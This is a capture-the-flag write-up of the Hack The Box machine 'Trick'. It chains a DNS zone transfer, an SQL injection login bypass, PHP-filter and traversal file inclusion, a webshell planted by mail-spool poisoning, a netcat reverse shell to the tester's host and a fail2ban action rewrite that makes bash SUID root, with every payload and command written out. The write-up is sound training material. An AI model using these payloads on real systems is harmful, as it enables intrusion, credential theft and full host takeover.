HTB CPTS Track: Trick (easy)

2026-09-29 · HTB "CPTS Track" writeups

#cpts-track#htb#linux#web#dns-zone-transfer#sql-injection#lfi#php-filters#smtp-mail-spool-poisoning#fail2ban#bash-suid#path-traversal

Black-box Linux box: a DNS zone transfer leaks hidden vhosts, SQLi and PHP-filter LFI leak creds and the nginx config, mail-log poisoning gives RCE as a user, and a writable fail2ban action escalates to root.

contents

Trick is a black-box Linux box that rewards enumeration over exploitation. There's no CVE to fire here, the whole path is misconfiguration: an exposed DNS server hands you hidden vhosts, two of those vhosts are riddled with SQLi and LFI, and the root step abuses a service account that can restart fail2ban but also happens to own its config directory. The chain end to end:

  1. DNS zone transfer off the box's own BIND server leaks the preprod-payroll vhost that isn't reachable any other way.
  2. A SQLi auth bypass gets me into the payroll admin panel; a second SQLi (MySQL FILE privilege) plus a PHP-filter LFI leak DB creds and the nginx config, which exposes a second vhost, preprod-marketing.
  3. The marketing vhost has a path-traversal LFI. I poison the SMTP mail spool (/var/mail/michael) with a PHP webshell and include it for RCE as michael (that vhost's PHP-FPM pool runs as michael, not www-data).
  4. michael's SSH private key gives a stable shell. user.txt.
  5. michael is in the security group that owns fail2ban's action.d/, and he can sudo fail2ban restart. I swap the ban action for chmod u+s /bin/bash, trigger a ban with hydra, and drop into a SUID root shell.

No assumed-breach creds here. Everything starts from an Nmap scan.


Enumeration

Nmap

sudo nmap -sC -sV -p- 10.129.227.180 -T5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Four ports, and two of them stand out. SSH (22) and nginx (80) are expected. The interesting pair is SMTP on 25 and BIND DNS on 53. A DNS server sitting on a web box is a gift, it means I can ask the box about itself, and mail service usually means there's a mailbox somewhere I can write to later. The web root is just a "Coming Soon" Bootstrap template, so the real content is probably hiding behind vhosts.

Port 80: dead end

Directory fuzzing the default site only turns up template boilerplate, nothing useful:

ffuf -w directory-list-2.3-medium.txt:FUZZ -u http://10.129.227.180/FUZZ -ic
assets                  [Status: 301, Size: 185]
css                     [Status: 301, Size: 185]
js                      [Status: 301, Size: 185]

assets, css, js, the skeleton of a static theme. No app here. I also glanced at the nginx version (1.14.2) to see if there was a known bug worth chasing, but nothing lined up with this box, so I dropped it and moved to DNS:

Port 53: DNS is the way in

First, a reverse lookup against the box's own DNS server to learn what it calls itself:

dig -x 10.129.227.180 @10.129.227.180
;; ANSWER SECTION:
180.227.129.10.in-addr.arpa. 604800 IN  PTR trick.htb.

;; AUTHORITY SECTION:
227.129.10.in-addr.arpa. 604800 IN  NS  trick.htb.

The domain is trick.htb, and the box is authoritative for it. Add it to hosts:

10.129.227.180 trick.htb

Since it's the authoritative nameserver, I try a full zone transfer (AXFR). That's the one query a nameserver should never answer for a stranger:

dig axfr @trick.htb trick.htb
trick.htb.      604800  IN  SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.      604800  IN  NS  trick.htb.
trick.htb.      604800  IN  A   127.0.0.1
trick.htb.      604800  IN  AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.

Why a zone transfer leaks this: AXFR is the mechanism a primary nameserver uses to replicate its entire zone to a secondary. If the server doesn't restrict who's allowed to request it (allow-transfer), anyone can pull the whole zone in one query, every record, including internal-only hostnames that were never meant to be public. Here it hands me preprod-payroll.trick.htb, a vhost that resolves to nothing without this record.

Added the new name to my /etc/hosts:

10.129.227.180 trick.htb preprod-payroll.trick.htb

Foothold Recon: the payroll vhost

preprod-payroll.trick.htb serves an admin login:

An admin login on a "preprod" app is exactly the kind of thing that gets shipped with lazy auth, so I throw a classic SQL injection auth bypass at the username field:

sdsd' or '1'+'1';-- -

And it drops me straight into the dashboard as administrator:

Why the auth bypass works: the login query is almost certainly built by string concatenation, something like SELECT * FROM users WHERE user='$u' AND pass='$p'. The payload closes the username string, adds OR '1'+'1' (which MySQL evaluates as truthy), and comments out the rest of the query with -- -, including the password check. The WHERE clause is now always true, so the app logs me in as the first user it finds, the admin.

Leaking the Enemigosss password

Poking around Users > Action > Edit, one account, Enemigosss, comes up with its password field pre-populated (a bad habit, edit forms shouldn't round-trip the plaintext):

The field is masked in the UI, but the value has to reach the browser to populate the field. So I catch the request in Burp and read it straight out of the response:

Enemigosss / SuperGucciRainbowCake

These creds don't get me anywhere new (no SSH, no SMTP auth with them), so I note them and keep looking.

LFI via PHP filters

The app's pages load through a page parameter, and it happily includes arbitrary .php files by name, that's local file inclusion:

Straight inclusion just executes the PHP, so I can't read source that way. This is where PHP filter wrappers come in (HackTricks: File Inclusion):

http://preprod-payroll.trick.htb/index.php?page=PHP://filter/convert.base64-encode/resource=login

Why php://filter turns LFI into source disclosure: normally an include() on a .php file runs it, so you see the output, not the code. The convert.base64-encode filter transforms the file's bytes before the include engine ever interprets them, so the target is base64-encoded into inert text and echoed back. The include never executes it. Decode the blob locally and you have the raw source. (The php:// scheme is case-insensitive, which is handy if a naive filter blocks lowercase php://.)

The response is a base64 blob:

Decode it in CyberChef:

The source references a couple of other files, and db_connect.php is the obvious one to grab next:

http://preprod-payroll.trick.htb/index.php?page=PHP://filter/convert.base64-encode/resource=db_connect

Decoded, it gives up the database credentials:

remo / TrulyImpossiblePasswordLmao123

Reading the nginx config via SQLi FILE privilege

There's a second, cleaner injection in manage_user.php?id=. I let sqlmap confirm it and enumerate the DB user's privileges:

sqlmap --url "preprod-payroll.trick.htb/manage_user.php?id=3" --privileges
Parameter: id (GET)
    Type: boolean-based blind
    Type: time-based blind
    Type: UNION query ... 8 columns
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

database management system users privileges:
[*] 'remo'@'localhost' [1]:
    privilege: FILE

remo (the same DB user from db_connect.php) has the FILE privilege, which means MySQL can read files off disk for me. I use it to pull the nginx site config:

sqlmap --url "preprod-payroll.trick.htb/manage_user.php?id=3" --file-read="/etc/nginx/sites-available/default"

Why FILE matters: the MySQL FILE privilege lets a query call LOAD_FILE() to read any file the mysqld process can read, and write files with INTO OUTFILE. Chained through an injection, it turns a SQLi into arbitrary file read on the host, no shell required. sqlmap just wraps that in --file-read.

The retrieved config lists three server blocks, and the third is a vhost I hadn't seen:

server {
    server_name preprod-marketing.trick.htb;
    root /var/www/market;
    location ~ \.php$ {
        fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
    }
}

There's a preprod-marketing.trick.htb vhost, added the host to my /etc/hosts/:

10.129.227.180 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htb

User: LFI + Mail-Log Poisoning to RCE as michael

The marketing site has the same page include pattern:

But php://filter is filtered here. Plain ../ is stripped too, so I fall back to a traversal-filter bypass (HackTricks: File Inclusion):

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd

Why ....// gets through: the filter does a single, non-recursive pass that removes ../ sequences. Feed it ....// and after it deletes the inner ../ what's left is ../, the traversal it was trying to block. Any filter that sanitizes once instead of looping is vulnerable to this.

/etc/passwd confirms a login user, michael. Now I have file read on the box and a mailbox I can write to (SMTP on 25). That combination is a classic LFI-to-RCE via log poisoning: write PHP into a file the target will include().

Poisoning the mailbox

I talk to Postfix directly over telnet and send michael a message whose body is a tiny PHP webshell:

telnet 10.129.227.180 25

MAIL FROM: 1kb2
RCPT TO: michael NOTIFY=success,failure
DATA
<?=`$_GET[0]`?>
.
250 2.0.0 Ok: queued as 0BD3D409A3

The message lands in /var/mail/michael. <?=`$_GET[0]`?> is shorthand for "echo the output of shell-executing whatever comes in as GET parameter 0".

Why log/mail poisoning works: LFI executes whatever PHP is in the file it includes. Any file an attacker can write attacker-controlled text into, an access log, an auth log, or here the mail spool, becomes a code-drop. Include /var/mail/michael, the PHP body runs, and because this vhost's FPM pool runs as michael, so does my code.

Triggering the reverse shell

Include the poisoned mailbox and pass the reverse-shell command in 0:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/mail/michael&0=busybox%20nc%2010.10.14.137%206767%20-e%20sh

With a listener on 6767, that gives a shell as michael:

michael's .ssh directory has a private key, so I grab it for a stable, non-janky shell instead of living in the netcat session:

/home/michael/.ssh
-rw-------  1 michael michael 1.8K May 12  2022 id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
... (trimmed) ...
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
-----END OPENSSH PRIVATE KEY-----

Save it locally, tighten permissions, and log in:

chmod 600 id_rsa
ssh -i id_rsa michael@10.129.227.180

michael@trick:~$ cat user.txt
<FLAG>

user.txt captured.


Root: Writable fail2ban Action + sudo Restart

Check what michael can run as root, and what groups he's in:

michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

michael@trick:~$ sudo -l
User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

Two facts to line up: michael is in the security group, and he can restart fail2ban as root with no password. Look at fail2ban's action directory:

michael@trick:/etc/fail2ban$ ls -lah
drwxrwx---   2 root security 4.0K action.d

action.d is owned by root:security and is group-writable. michael can't edit the files inside directly (they're root:root):

michael@trick:/etc/fail2ban/action.d$ chmod g+w iptables-multiport.conf
chmod: changing permissions of 'iptables-multiport.conf': Operation not permitted

But write access on the directory is enough: I can delete a file and drop a replacement with the same name.

Why this is a root escalation: fail2ban runs as root. Its action files (action.d/*.conf) define the shell commands it runs when it bans or unbans an IP. If I control the contents of an action file and can make fail2ban reload it (the sudo restart) and then fire (trigger a ban), I get arbitrary command execution as root. The file being root:root doesn't save it, because write on the parent directory lets me rm the original and mv my own version into its place.

Rewrite the ban action so that instead of adding an iptables rule, it makes /bin/bash SUID root. Because I can't edit in place, I build the modified file in my home directory, delete the original, and move mine in:

sed "s/<iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>/chmod u+s \/bin\/bash/g" /etc/fail2ban/action.d/iptables-multiport.conf > config.conf

rm -f /etc/fail2ban/action.d/iptables-multiport.conf

mv config.conf /etc/fail2ban/action.d/iptables-multiport.conf

sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

The config is loaded, but the action only runs when a ban actually fires. So I generate failed SSH logins from my attack box to trip the jail:

hydra 10.129.227.180 ssh -l root -P /usr/share/wordlists/rockyou.txt.gz

I don't care about cracking anything, I just need enough failed attempts to trigger a ban, which runs my poisoned action as root. A moment later /bin/bash is SUID:

michael@trick:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash

bash -p keeps the effective UID of the SUID binary instead of dropping privileges:

michael@trick:~$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
<FLAG>

root.txt captured. Box owned.


Remediation


Reference used: